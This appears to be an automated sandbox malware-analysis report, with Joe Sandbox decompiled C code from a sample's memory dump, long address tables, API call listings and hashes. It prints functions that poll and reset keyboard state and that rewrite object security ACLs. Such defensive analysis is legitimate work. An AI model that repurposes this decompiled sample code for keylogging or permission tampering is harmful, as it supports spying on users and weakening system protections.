                                                                                                                                                                            0x0044944a
                                                                                                                                                                            0x00449451
                                                                                                                                                                            0x0044945a
                                                                                                                                                                            0x00449460
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449549
                                                                                                                                                                            0x0044954b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449551
                                                                                                                                                                            0x00449553
                                                                                                                                                                            0x0044955a
                                                                                                                                                                            0x0044955f
                                                                                                                                                                            0x00449568
                                                                                                                                                                            0x00449568
                                                                                                                                                                            0x0044956a
                                                                                                                                                                            0x0044956e
                                                                                                                                                                            0x00449573
                                                                                                                                                                            0x00449578
                                                                                                                                                                            0x00449580
                                                                                                                                                                            0x00449585
                                                                                                                                                                            0x00449587
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449589
                                                                                                                                                                            0x00449592
                                                                                                                                                                            0x00449599
                                                                                                                                                                            0x004495a1
                                                                                                                                                                            0x004495a5
                                                                                                                                                                            0x004495bd
                                                                                                                                                                            0x004495bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004495a7
                                                                                                                                                                            0x004495a7
                                                                                                                                                                            0x004495ab
                                                                                                                                                                            0x004495ac
                                                                                                                                                                            0x004495ad
                                                                                                                                                                            0x004495b2
                                                                                                                                                                            0x004495b3
                                                                                                                                                                            0x004495b5
                                                                                                                                                                            0x004495b7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004495b7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004495a5
                                                                                                                                                                            0x004495c1
                                                                                                                                                                            0x004495c9
                                                                                                                                                                            0x004495cb
                                                                                                                                                                            0x004495e8
                                                                                                                                                                            0x004495e8
                                                                                                                                                                            0x004495ec
                                                                                                                                                                            0x004495f0
                                                                                                                                                                            0x004495f1
                                                                                                                                                                            0x004495f2
                                                                                                                                                                            0x004495f7
                                                                                                                                                                            0x004495f8
                                                                                                                                                                            0x004495ff
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004495cd
                                                                                                                                                                            0x004495ce
                                                                                                                                                                            0x004495db
                                                                                                                                                                            0x004495e2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004495e2
                                                                                                                                                                            0x004495cb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449606
                                                                                                                                                                            0x00449609
                                                                                                                                                                            0x0044960b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449611
                                                                                                                                                                            0x00449613
                                                                                                                                                                            0x0044961a
                                                                                                                                                                            0x00449622
                                                                                                                                                                            0x00449629
                                                                                                                                                                            0x0044962a
                                                                                                                                                                            0x0044962c
                                                                                                                                                                            0x00449631
                                                                                                                                                                            0x00449638
                                                                                                                                                                            0x0044963e
                                                                                                                                                                            0x0044963f
                                                                                                                                                                            0x0044964a
                                                                                                                                                                            0x0044964c
                                                                                                                                                                            0x00449650
                                                                                                                                                                            0x00449653
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449659
                                                                                                                                                                            0x00449659
                                                                                                                                                                            0x00449659
                                                                                                                                                                            0x0044965b
                                                                                                                                                                            0x0044965f
                                                                                                                                                                            0x00449664
                                                                                                                                                                            0x00449669
                                                                                                                                                                            0x00449671
                                                                                                                                                                            0x00449676
                                                                                                                                                                            0x00449678
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044967a
                                                                                                                                                                            0x00449683
                                                                                                                                                                            0x0044968a
                                                                                                                                                                            0x00449692
                                                                                                                                                                            0x00449696
                                                                                                                                                                            0x0044969a
                                                                                                                                                                            0x004496b6
                                                                                                                                                                            0x004496b6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044969c
                                                                                                                                                                            0x0044969c
                                                                                                                                                                            0x004496a0
                                                                                                                                                                            0x004496a4
                                                                                                                                                                            0x004496a5
                                                                                                                                                                            0x004496a6
                                                                                                                                                                            0x004496ab
                                                                                                                                                                            0x004496ac
                                                                                                                                                                            0x004496ae
                                                                                                                                                                            0x004496b0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004496b0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044969a
                                                                                                                                                                            0x004496ba
                                                                                                                                                                            0x004496c2
                                                                                                                                                                            0x004496c4
                                                                                                                                                                            0x004496e1
                                                                                                                                                                            0x004496e1
                                                                                                                                                                            0x004496e5
                                                                                                                                                                            0x004496e9
                                                                                                                                                                            0x004496ed
                                                                                                                                                                            0x004496ee
                                                                                                                                                                            0x004496ef
                                                                                                                                                                            0x004496f4
                                                                                                                                                                            0x004496f5
                                                                                                                                                                            0x004496f9
                                                                                                                                                                            0x004496fd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004496c6
                                                                                                                                                                            0x004496c7
                                                                                                                                                                            0x004496d4
                                                                                                                                                                            0x004496db
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004496db
                                                                                                                                                                            0x004496c4
                                                                                                                                                                            0x00449653
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449464
                                                                                                                                                                            0x00449471
                                                                                                                                                                            0x00449474
                                                                                                                                                                            0x0044947d
                                                                                                                                                                            0x00449483
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044953a
                                                                                                                                                                            0x00449542
                                                                                                                                                                            0x00449546
                                                                                                                                                                            0x0044950d
                                                                                                                                                                            0x0044950d
                                                                                                                                                                            0x0044950f
                                                                                                                                                                            0x00449514
                                                                                                                                                                            0x00449515
                                                                                                                                                                            0x00449515
                                                                                                                                                                            0x0044951b
                                                                                                                                                                            0x0044951b
                                                                                                                                                                            0x0044951d
                                                                                                                                                                            0x00449889
                                                                                                                                                                            0x00449895
                                                                                                                                                                            0x00449527
                                                                                                                                                                            0x00449527
                                                                                                                                                                            0x0044952d
                                                                                                                                                                            0x0044952d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004492f3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00449287
                                                                                                                                                                            0x00449285
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                                                                                                                            • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                                                                                                                            • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                                                                                                                            • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                                                                                                                                                                            • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                                                                                                                            • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                                                                                                                            • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CharNext
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1350042424-0
                                                                                                                                                                            • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                            • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                                                                                                                            • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                            • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00453B94 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 88%
                                                                                                                                                                            			E00453B94(void* __fp0, intOrPtr _a4, intOrPtr* _a8) {
				char _v95;
				char _v96;
				char _v165;
				char _v238;
				char _v239;
				char _v240;
				char _v256;
				char _v268;
				char _v276;
				intOrPtr* _t72;
				signed short _t74;
				signed short _t75;
				signed short _t76;
				signed short _t77;
				signed short _t78;
				signed short _t84;
				signed short _t88;
				signed short _t92;
				signed short _t96;
				signed int _t99;
				signed int _t111;
				intOrPtr _t124;
				void* _t150;

				_t150 = __fp0;
				_t72 = _a8;
				_t124 = _a4;
				if( *_t72 != 0) {
					 *((char*)(_t124 + 0x14)) = 1;
				}
				if( *((intOrPtr*)(_t72 + 2)) != 0) {
					 *((char*)(_t124 + 0x16)) = 1;
				}
				if( *((intOrPtr*)(_t72 + 3)) != 0) {
					 *((char*)(_t124 + 0x17)) = 1;
				}
				if( *((intOrPtr*)(_t124 + 0x14)) != 0 &&  *(_t124 + 0x1a) != 0) {
					 *((char*)(_t124 + 0x14)) = 0;
				}
				if( *((intOrPtr*)(_t124 + 0x15)) != 0 &&  *(_t124 + 0x1b) != 0) {
					 *((char*)(_t124 + 0x15)) = 0;
				}
				if( *((intOrPtr*)(_t124 + 0x16)) != 0 &&  *(_t124 + 0x1c) != 0) {
					 *((char*)(_t124 + 0x16)) = 0;
				}
				if( *((intOrPtr*)(_t124 + 0x17)) != 0 &&  *(_t124 + 0x1d) != 0) {
					 *((char*)(_t124 + 0x17)) = 0;
				}
				if( *((intOrPtr*)(_t124 + 0x18)) != 0 &&  *(_t124 + 0x1e) != 0) {
					 *((char*)(_t124 + 0x18)) = 0;
				}
				if( *((intOrPtr*)(_t124 + 0x20)) == 0) {
					E00444FC0( &_v268);
					_t74 = GetAsyncKeyState(0xa0);
					__eflags = 0x00008000 & _t74;
					if((0x00008000 & _t74) != 0) {
						L38:
						__eflags =  *(_t124 + 0x1a);
						if(__eflags == 0) {
							E0044C7A0(__eflags,  &_v268, 0xa0);
							_push( &_v276);
							_push(_t124);
							E0044C379(_t150);
						}
					} else {
						_t96 = GetKeyState(0xa0);
						__eflags = 0x00008000 & _t96;
						if((0x00008000 & _t96) != 0) {
							goto L38;
						}
					}
					_t75 = GetAsyncKeyState(0xa1);
					__eflags = 0x00008000 & _t75;
					if((0x00008000 & _t75) != 0) {
						L42:
						__eflags =  *(_t124 + 0x1b);
						if(__eflags == 0) {
							E0044C7A0(__eflags,  &_v268, 0xa1);
							_push( &_v276);
							_push(_t124);
							E0044C379(_t150);
						}
					} else {
						_t92 = GetKeyState(0xa1);
						__eflags = 0x00008000 & _t92;
						if((0x00008000 & _t92) != 0) {
							goto L42;
						}
					}
					_t76 = GetAsyncKeyState(0x11);
					__eflags = 0x00008000 & _t76;
					if((0x00008000 & _t76) != 0) {
						L46:
						__eflags =  *(_t124 + 0x1c);
						if(__eflags == 0) {
							E0044C7A0(__eflags,  &_v268, 0x11);
							_push( &_v276);
							_push(_t124);
							E0044C379(_t150);
						}
					} else {
						_t88 = GetKeyState(0x11);
						__eflags = 0x00008000 & _t88;
						if((0x00008000 & _t88) != 0) {
							goto L46;
						}
					}
					_t77 = GetAsyncKeyState(0x12);
					__eflags = 0x00008000 & _t77;
					if((0x00008000 & _t77) != 0) {
						L50:
						__eflags =  *(_t124 + 0x1d);
						if(__eflags == 0) {
							E0044C7A0(__eflags,  &_v268, 0x12);
							_push( &_v276);
							_push(_t124);
							E0044C379(_t150);
						}
					} else {
						_t84 = GetKeyState(0x12);
						__eflags = 0x00008000 & _t84;
						if((0x00008000 & _t84) != 0) {
							goto L50;
						}
					}
					_t78 = GetAsyncKeyState(0x5b);
					__eflags = 0x00008000 & _t78;
					if((0x00008000 & _t78) != 0) {
						L54:
						__eflags =  *(_t124 + 0x1e);
						if(__eflags == 0) {
							E0044C7A0(__eflags,  &_v268, 0x5b);
							_push( &_v276);
							_push(_t124);
							_t78 = E0044C379(_t150);
						}
					} else {
						_t78 = GetKeyState(0x5b);
						__eflags = 0x00008000 & _t78;
						if((0x00008000 & _t78) != 0) {
							goto L54;
						}
					}
					return _t78;
				} else {
					GetKeyboardState( &_v256);
					_t111 =  *(_t124 + 0x1a);
					if(_t111 == 0) {
						_v96 = 0;
					}
					_t99 =  *(_t124 + 0x1b);
					if(_t99 == 0) {
						_v95 = 0;
					}
					if(_t111 == 0 && _t99 == 0) {
						_v240 = 0;
					}
					if( *(_t124 + 0x1c) == 0) {
						_v239 = 0;
					}
					if( *(_t124 + 0x1d) == 0) {
						_v238 = 0;
					}
					if(_t111 == 0) {
						_v165 = 0;
					}
					return SetKeyboardState( &_v256);
				}
			}


























                                                                                                                                                                            0x00453b94
                                                                                                                                                                            0x00453b94
                                                                                                                                                                            0x00453ba2
                                                                                                                                                                            0x00453bad
                                                                                                                                                                            0x00453baf
                                                                                                                                                                            0x00453baf
                                                                                                                                                                            0x00453bb5
                                                                                                                                                                            0x00453bb7
                                                                                                                                                                            0x00453bb7
                                                                                                                                                                            0x00453bbd
                                                                                                                                                                            0x00453bbf
                                                                                                                                                                            0x00453bbf
                                                                                                                                                                            0x00453bc5
                                                                                                                                                                            0x00453bcc
                                                                                                                                                                            0x00453bcc
                                                                                                                                                                            0x00453bd2
                                                                                                                                                                            0x00453bd9
                                                                                                                                                                            0x00453bd9
                                                                                                                                                                            0x00453bdf
                                                                                                                                                                            0x00453be6
                                                                                                                                                                            0x00453be6
                                                                                                                                                                            0x00453bec
                                                                                                                                                                            0x00453bf3
                                                                                                                                                                            0x00453bf3
                                                                                                                                                                            0x00453bf9
                                                                                                                                                                            0x00453c00
                                                                                                                                                                            0x00453c00
                                                                                                                                                                            0x00453c06
                                                                                                                                                                            0x00453c72
                                                                                                                                                                            0x00453c82
                                                                                                                                                                            0x00453c8f
                                                                                                                                                                            0x00453c92
                                                                                                                                                                            0x00453ca5
                                                                                                                                                                            0x00453ca5
                                                                                                                                                                            0x00453ca8
                                                                                                                                                                            0x00453cb4
                                                                                                                                                                            0x00453cbd
                                                                                                                                                                            0x00453cbe
                                                                                                                                                                            0x00453cbf
                                                                                                                                                                            0x00453cbf
                                                                                                                                                                            0x00453c94
                                                                                                                                                                            0x00453c99
                                                                                                                                                                            0x00453ca0
                                                                                                                                                                            0x00453ca3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453ca3
                                                                                                                                                                            0x00453cc9
                                                                                                                                                                            0x00453cd0
                                                                                                                                                                            0x00453cd3
                                                                                                                                                                            0x00453ce6
                                                                                                                                                                            0x00453ce6
                                                                                                                                                                            0x00453ce9
                                                                                                                                                                            0x00453cf5
                                                                                                                                                                            0x00453cfe
                                                                                                                                                                            0x00453cff
                                                                                                                                                                            0x00453d00
                                                                                                                                                                            0x00453d00
                                                                                                                                                                            0x00453cd5
                                                                                                                                                                            0x00453cda
                                                                                                                                                                            0x00453ce1
                                                                                                                                                                            0x00453ce4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453ce4
                                                                                                                                                                            0x00453d07
                                                                                                                                                                            0x00453d0e
                                                                                                                                                                            0x00453d11
                                                                                                                                                                            0x00453d21
                                                                                                                                                                            0x00453d21
                                                                                                                                                                            0x00453d24
                                                                                                                                                                            0x00453d2d
                                                                                                                                                                            0x00453d36
                                                                                                                                                                            0x00453d37
                                                                                                                                                                            0x00453d38
                                                                                                                                                                            0x00453d38
                                                                                                                                                                            0x00453d13
                                                                                                                                                                            0x00453d15
                                                                                                                                                                            0x00453d1c
                                                                                                                                                                            0x00453d1f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453d1f
                                                                                                                                                                            0x00453d3f
                                                                                                                                                                            0x00453d46
                                                                                                                                                                            0x00453d49
                                                                                                                                                                            0x00453d59
                                                                                                                                                                            0x00453d59
                                                                                                                                                                            0x00453d5c
                                                                                                                                                                            0x00453d65
                                                                                                                                                                            0x00453d6e
                                                                                                                                                                            0x00453d6f
                                                                                                                                                                            0x00453d70
                                                                                                                                                                            0x00453d70
                                                                                                                                                                            0x00453d4b
                                                                                                                                                                            0x00453d4d
                                                                                                                                                                            0x00453d54
                                                                                                                                                                            0x00453d57
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453d57
                                                                                                                                                                            0x00453d77
                                                                                                                                                                            0x00453d7e
                                                                                                                                                                            0x00453d81
                                                                                                                                                                            0x00453d91
                                                                                                                                                                            0x00453d91
                                                                                                                                                                            0x00453d94
                                                                                                                                                                            0x00453d9d
                                                                                                                                                                            0x00453da6
                                                                                                                                                                            0x00453da7
                                                                                                                                                                            0x00453da8
                                                                                                                                                                            0x00453da8
                                                                                                                                                                            0x00453d83
                                                                                                                                                                            0x00453d85
                                                                                                                                                                            0x00453d8c
                                                                                                                                                                            0x00453d8f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453d8f
                                                                                                                                                                            0x00453db7
                                                                                                                                                                            0x00453c08
                                                                                                                                                                            0x00453c0d
                                                                                                                                                                            0x00453c13
                                                                                                                                                                            0x00453c18
                                                                                                                                                                            0x00453c1a
                                                                                                                                                                            0x00453c1a
                                                                                                                                                                            0x00453c21
                                                                                                                                                                            0x00453c26
                                                                                                                                                                            0x00453c28
                                                                                                                                                                            0x00453c28
                                                                                                                                                                            0x00453c31
                                                                                                                                                                            0x00453c37
                                                                                                                                                                            0x00453c37
                                                                                                                                                                            0x00453c3e
                                                                                                                                                                            0x00453c40
                                                                                                                                                                            0x00453c40
                                                                                                                                                                            0x00453c47
                                                                                                                                                                            0x00453c49
                                                                                                                                                                            0x00453c49
                                                                                                                                                                            0x00453c4f
                                                                                                                                                                            0x00453c51
                                                                                                                                                                            0x00453c51
                                                                                                                                                                            0x00453c68
                                                                                                                                                                            0x00453c68

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                                                                                                                            • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                                                                                                                            • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                                                                                                                            • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                                                                                                                            • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                                                                                                                            • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                                                                                                                            • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                                                                                                                            • GetKeyState.USER32(00000011), ref: 00453D15
                                                                                                                                                                            • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                                                                                                                            • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                                                                                                                            • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                                                                                                                            • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: State$Async$Keyboard
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 541375521-0
                                                                                                                                                                            • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                            • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                                                                                                                            • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                            • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00445FE0 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00445FE0(void* __eflags, void* _a4, void* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void _v12;
				int _v16;
				int _v20;
				char _v24;
				long _v28;
				struct _ACL* _v32;
				struct _ACL* _v36;
				void* _v40;
				struct _ACL* _v44;
				struct _ACL* _v48;
				void* __edi;
				struct _ACL* _t63;
				void* _t66;
				void _t77;
				void* _t83;
				void* _t84;
				void* _t103;
				signed short _t105;
				intOrPtr* _t107;
				struct _SECURITY_DESCRIPTOR* _t108;
				long _t109;
				void* _t110;
				struct _ACL* _t111;

				_t112 =  &_v44;
				_t83 = _a8;
				_t110 = 0;
				_t111 = 0;
				_a8 = 0;
				_v36 = 0;
				_v32 = 0;
				_v40 = 0;
				_v28 = 4;
				if(E004392BC(_a4,  &_v28,  &_v36,  &_v24) == 0 || E0043928B( &_v32, _v24) == 0) {
					L21:
					E00438FB6(_v36);
					E00438FB6(_v32);
					E00438FB6(_t111);
					E00438FB6(_t110);
					return _a8;
				} else {
					_v44 = 0;
					if(GetSecurityDescriptorDacl(_v36,  &_v20,  &_v44,  &_v16) == 0) {
						goto L21;
					}
					E004131F0(_t103,  &_v12, 0, 0xc);
					_t63 = _v44;
					_t112 =  &(( &_v44)[3]);
					_v8 = 8;
					if(_t63 == 0 || GetAclInformation(_t63,  &_v12, 0xc, 2) != 0) {
						_t24 = GetLengthSid(_t83) * 2; // 0x18
						_t66 = E00439256( &_v40, _v8 + _t24 + 0x10);
						_t111 = _v48;
						if(_t66 == 0) {
							goto L21;
						}
						if(_v20 == _t110) {
							L13:
							_t105 = GetLengthSid(_t83) + 8;
							_t110 = E00438FCF(_t105);
							_t112 =  &(_t112[1]);
							if(_t110 == 0) {
								goto L21;
							}
							_t35 = _t110 + 8; // 0x8
							 *(_t110 + 2) = _t105;
							if(CopySid(GetLengthSid(_t83), _t35, _t83) == 0) {
								goto L21;
							}
							_t84 = 0;
							_t107 = _a12 + 4;
							while(1) {
								 *_t110 =  *((intOrPtr*)(_t107 - 4));
								 *((char*)(_t110 + 1)) =  *((intOrPtr*)(_t107 - 3));
								 *((intOrPtr*)(_t110 + 4)) =  *_t107;
								if(AddAce(_t111, 2, 0xffffffff, _t110,  *(_t110 + 2) & 0x0000ffff) == 0) {
									goto L21;
								}
								_t84 = _t84 + 1;
								_t107 = _t107 + 0xc;
								if(_t84 < 2) {
									continue;
								}
								_t108 = _v32;
								if(SetSecurityDescriptorDacl(_t108, 1, _t111, 0) != 0 && SetUserObjectSecurity(_a4,  &_v28, _t108) != 0) {
									_a8 = 1;
								}
								goto L21;
							}
							goto L21;
						}
						_t77 = _v12;
						if(_t77 == _t110) {
							goto L13;
						}
						_t109 = 0;
						if(_t77 <= _t110) {
							goto L13;
						}
						while(GetAce(_v44, _t109,  &_v40) != 0 && AddAce(_t111, 2, 0xffffffff, _v40,  *(_v40 + 2) & 0x0000ffff) != 0) {
							_t109 = _t109 + 1;
							if(_t109 < _v12) {
								continue;
							}
							goto L13;
						}
					}
					goto L21;
				}
			}



























                                                                                                                                                                            0x00445fe0
                                                                                                                                                                            0x00445fe4
                                                                                                                                                                            0x00445ffe
                                                                                                                                                                            0x00446000
                                                                                                                                                                            0x00446003
                                                                                                                                                                            0x00446008
                                                                                                                                                                            0x0044600c
                                                                                                                                                                            0x00446010
                                                                                                                                                                            0x00446014
                                                                                                                                                                            0x00446023
                                                                                                                                                                            0x004461bc
                                                                                                                                                                            0x004461c1
                                                                                                                                                                            0x004461cb
                                                                                                                                                                            0x004461d1
                                                                                                                                                                            0x004461d7
                                                                                                                                                                            0x004461ea
                                                                                                                                                                            0x00446040
                                                                                                                                                                            0x00446054
                                                                                                                                                                            0x00446060
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044606e
                                                                                                                                                                            0x00446073
                                                                                                                                                                            0x00446077
                                                                                                                                                                            0x0044607a
                                                                                                                                                                            0x00446084
                                                                                                                                                                            0x004460a9
                                                                                                                                                                            0x004460b3
                                                                                                                                                                            0x004460b8
                                                                                                                                                                            0x004460be
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004460c8
                                                                                                                                                                            0x0044611d
                                                                                                                                                                            0x00446126
                                                                                                                                                                            0x0044612f
                                                                                                                                                                            0x00446131
                                                                                                                                                                            0x00446136
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044613d
                                                                                                                                                                            0x00446142
                                                                                                                                                                            0x00446155
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044615b
                                                                                                                                                                            0x0044615d
                                                                                                                                                                            0x00446160
                                                                                                                                                                            0x00446168
                                                                                                                                                                            0x00446175
                                                                                                                                                                            0x00446178
                                                                                                                                                                            0x00446183
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446185
                                                                                                                                                                            0x00446186
                                                                                                                                                                            0x0044618c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044618e
                                                                                                                                                                            0x004461a0
                                                                                                                                                                            0x004461b7
                                                                                                                                                                            0x004461b7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004461a0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446160
                                                                                                                                                                            0x004460ca
                                                                                                                                                                            0x004460d0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004460d2
                                                                                                                                                                            0x004460d6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004460e0
                                                                                                                                                                            0x00446116
                                                                                                                                                                            0x0044611b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044611b
                                                                                                                                                                            0x004460e0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446084

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                                                                                                              • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                                                                                                              • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                                                                                                              • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                                                                                                            • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00446058
                                                                                                                                                                            • _memset.LIBCMT ref: 0044606E
                                                                                                                                                                            • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00446090
                                                                                                                                                                            • GetLengthSid.ADVAPI32(?), ref: 0044609F
                                                                                                                                                                            • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 004460EB
                                                                                                                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00446108
                                                                                                                                                                            • GetLengthSid.ADVAPI32(?,?,00000018), ref: 0044611E
